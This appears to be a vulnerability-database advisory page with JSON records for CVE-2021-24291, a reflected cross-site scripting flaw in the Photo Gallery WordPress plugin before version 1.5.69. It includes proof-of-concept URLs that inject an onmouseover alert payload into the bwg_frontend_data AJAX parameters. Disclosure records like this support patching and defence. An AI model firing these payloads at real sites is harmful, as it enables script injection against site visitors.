Description
The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)
Related
{"id": "WPEX-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A", "type": "wpexploit", "bulletinFamily": "exploit", "title": "Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)", "description": "The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)\n", "published": "2021-04-19T00:00:00", "modified": "2021-04-27T07:02:40", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "", "reporter": "wpvulndb", "references": ["https://packetstormsecurity.com/files/162227/"], "cvelist": ["CVE-2021-24291"], "immutableFields": [], "lastseen": "2021-05-28T19:30:34", "viewCount": 32, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-24291"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:162227"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}], "rev": 4}, "score": {"value": 4.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-24291"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A"]}]}, "exploitation": null, "vulnersScore": 4.1}, "sourceData": "https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag=%22%20onmouseover=alert(1)%3E\r\n\r\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme_id=%22%20onmouseover=alert(1)%3E\r\n\r\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery_id=1%22%20onmouseover=alert(1)%3E", "generation": 1, "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1646199428}}
{"wpvulndb": [{"lastseen": "2021-05-28T19:30:34", "bulletinFamily": "software", "cvelist": ["CVE-2021-24291"], "description": "The plugin was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and theme_id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)\n\n### PoC\n\nhttps://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&tag;=%22%20onmouseover=alert(1)%3E https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&theme;_id=%22%20onmouseover=alert(1)%3E https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&gallery;_id=1%22%20onmouseover=alert(1)%3E\n", "modified": "2021-04-27T07:02:40", "id": "WPVDB-ID:CFB982B2-8B6D-4345-B3AB-3D2B130B873A", "href": "https://wpscan.com/vulnerability/cfb982b2-8b6d-4345-b3ab-3d2b130b873a", "published": "2021-04-19T00:00:00", "type": "wpvulndb", "title": "Photo Gallery < 1.5.69 - Multiple Reflected Cross-Site Scripting (XSS)", "sourceData": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "cve": [{"lastseen": "2022-03-23T14:51:08", "description": "The Photo Gallery by 10Web \u00e2\u20ac\u201c Mobile-Friendly Image Gallery WordPress plugin before 1.5.69 was vulnerable to Reflected Cross-Site Scripting (XSS) issues via the gallery_id, tag, album_id and _id GET parameters passed to the bwg_frontend_data AJAX action (available to both unauthenticated and authenticated users)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2021-05-14T12:15:00", "type": "cve", "title": "CVE-2021-24291", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-24291"], "modified": "2021-05-21T20:44:00", "cpe": [], "id": "CVE-2021-24291", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-24291", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "cpe23": []}]}